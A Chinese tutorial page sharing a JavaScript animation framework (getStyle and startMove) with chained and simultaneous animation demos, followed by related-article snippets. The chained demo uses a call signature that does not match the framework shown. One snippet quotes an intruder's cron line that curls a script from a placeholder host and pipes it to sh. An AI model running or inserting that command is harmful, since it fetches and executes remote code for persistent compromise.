js 动画3 完美框架
js 框架:
function getStyle(obj,attr){
if(obj.currentStyle){
return obj.currentStyle[attr];
}
else{
return getComputedStyle(obj,false)[attr];
}
} function startMove(obj,json,fn){
var flag = true;//如果
clearInterval(obj.timer);
obj.timer = setInterval(function(){
for(var attr in json)
{
//取当前值
var icur = 0;
if(attr == 'opacity'){
icur = Math.round(parseFloat(getStyle(obj,attr))*100);
}
else{
icur = parseInt(getStyle(obj,attr))
}
//算速度
var speed = (json[attr]-icur)/8;
speed = speed >0? Math.ceil(speed):Math.floor(speed);
//检測停止
if(icur != json[attr]){
flag = false;
}
if(attr == 'opacity'){
obj.style.filter = 'alpha(opacity:'+(icur +speed)+')';
obj.style.opacity = (icur + speed)/100;
}
else{
obj.style[attr] = icur + speed + 'px';
}
}
if(flag){
clearInterval(obj.timer);
if(fn){
fn();
}
}
},30)
}
链式动画(前一个动作完毕。后一个动作继续):
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>链式框架</title>
<style>
body,ul,li{
margin:0;
padding:0;
}
ul,li{
list-style:none;
}
ul li{
width:200px;
height:100px;
margin-bottom:10px;
background:yellow;
border: 4px solid #000;
filter:alpha(opacity:30);
opacity: 0.3;
}
</style>
<script src="move.js"></script>
<script>
window.onload = function(){
var li = document.getElementById('li1');
li.onmouseover = function(){
startMove(li,'width',400,function(){
startMove(li,'height',200,function(){
startMove(li,'opacity',100);
});
});
}
li.onmouseout = function(){
startMove(li,'opacity',30,function(){
startMove(li,'height',100,function(){
startMove(li,'width',200);
});
});
}
}
</script>
</head> <body>
<ul>
<li id="li1"></li>
</ul>
</body>
</html>
同一时候动画(多个动作同一时候完毕):
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>同一时候动画</title>
<style>
body,ul,li{
margin:0;
padding:0;
}
ul,li{
list-style:none;
}
ul li{
width:200px;
height:100px;
margin-bottom:10px;
background:yellow;
border: 4px solid #000;
filter:alpha(opacity:30);
opacity: 0.3;
}
</style>
<script src="move.js"></script>
<script>
window.onload = function(){
var oli = document.getElementById('li1');
oli.onmouseover = function(){
startMove(oli,{width:400,height:200,opacity:100});
}
oli.onmouseout = function(){
startMove(oli,{width:200,height:100,opacity:30});
}
}
</script>
</head> <body>
<ul>
<li id="li1"></li>
</ul>
</body>
</html>
js 动画3 完美框架的更多相关文章
- js动画学习(五)
九.多属性同时运动 前面的例子都是每个属性单独运动,如果想要多属性同时运动怎么办?比如,我想要一个div的onmouseover事件中宽和高同时变化.下面这个函数是单独变宽: window.onloa ...
- js动画(四)
终于到了最后了,这里要告一段落了,整了个js运动框架,咳咳咳,好冷 啊啊啊啊啊啊,这天气.妈的,工资怎么也不发,啊,说好的 人与人之间的信任呢?哎,气诶,不到150字啊,又是这个梗..怎么办?说些什么 ...
- JavaScript是如何工作的: CSS 和 JS 动画底层原理及如何优化它们的性能
摘要: 理解浏览器渲染. 原文:JavaScript是如何工作的: CSS 和 JS 动画底层原理及如何优化它们的性能 作者:前端小智 Fundebug经授权转载,版权归原作者所有. 这是专门探索 J ...
- JS神经网络deeplearn.js:浏览器端机器智能框架
JS神经网络deeplearn.js:浏览器端机器智能框架 通过 deeplearn.js,可以实现在浏览器中训练神经网络模型,也可在推理阶段运行预训练模型. deeplearn.js 以 TypeS ...
- 基于 Vue.js 之 iView UI 框架非工程化实践记要 使用 Newtonsoft.Json 操作 JSON 字符串 基于.net core实现项目自动编译、并生成nuget包 webpack + vue 在dev和production模式下的小小区别 这样入门asp.net core 之 静态文件 这样入门asp.net core,如何
基于 Vue.js 之 iView UI 框架非工程化实践记要 像我们平日里做惯了 Java 或者 .NET 这种后端程序员,对于前端的认识还常常停留在 jQuery 时代,包括其插件在需要时就引 ...
- Ember.js和Vue.js对比,哪个框架更优秀?
本文由葡萄城技术团队于博客园翻译并首发 转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. JavaScript最初是为Web应用程序创建的.但是随着前端技术的 ...
- 【06-23】js动画学习笔记01
<html> <head> <style> * { margin:0; padding:0; } #div1{ width:200px; height:200px; ...
- css动画与js动画的区别
CSS动画 优点: (1)浏览器可以对动画进行优化. 1. 浏览器使用与 requestAnimationFrame 类似的机制,requestAnimationFrame比起setTimeout ...
- CSS VS JS动画,哪个更快[译]
英文原文:https://davidwalsh.name/css-js-animation 原作者Julian Shapiro是Velocity.js的作者,Velocity.js是一个高效易用的js ...
随机推荐
- python之模块pydoc
# -*- coding: cp936 -*- #python 27 #xiaodeng import pydoc #主要用于从python模块中自动生成文档,这些文档可以基于文本呈现,也可以生成we ...
- curl定时任务下载执行
服务器入侵后有定时任务执行如下,通过cron,下载脚本并执行!达到杀不死的木马进程 */5 * * * * curl -fsSL http://xxxx/pm.sh?0111 | sh curl参数解 ...
- bootstrap table + spring + springmvc + mybatis 实现从前端到后端的表格分页
1.使用准备 前台需要的资源文件,主要有Bootstrap3相关css.js以及bootstrap Table相关css.js: <-- 样式 --> <link rel=" ...
- 自己开发Visual studio插件-一个nvelocity高亮插件
首先,有一个项目用到了nvelocity模板引擎,但是用vs开发模板的时候,没有高亮效果,所以非常不方便,鉴于这个,于是有了自己开发插件的念头,但是在vs sdk开发上面,这方面的资料真是少之又少,网 ...
- firefox插件卸载
1.根据插件名进行搜索,搜索到相关dll后删除,重启firefox. 2.about:config--plugin.expose_full_path:true,然后about:plugins去查看插件 ...
- springmvc是如何和前端页面联系起来的
springmvc的使用,在controller中通过注解的形式,获取从前端jsp页面传过来的action参数. 方法/步骤 使用springmvc必须在web.xml中配置(Dispatcher ...
- GO语言中的几个关键思想
GO语言的设计理念与C++,Java,Python之流大相径庭. 一.没有函数重载 GO语言里面没有函数重载,Java.C#.C++三位大牛都是支持函数重载的,Python虽然不支持函数重载,但是支持 ...
- java struts2入门学习实例--用户注册
一.用户注册示例 register.jsp <%@ page language="java" contentType="text/html; charset=UT ...
- libev ev_io_init学习
#define ev_io_init(ev,cb,fd,events) / do { ev_init ((ev), (cb)); ev_io_set ((ev),(fd),(events)); } w ...
- 百度地图 ijintui以及七牛、百度编辑器、kindeditor
密码是明文存储的 sig错误是因为params没拼接上md5后的秘钥,测试时候可以在 Api\Controller\CommonController\_initialize 方法里注释掉效验的代码 代 ...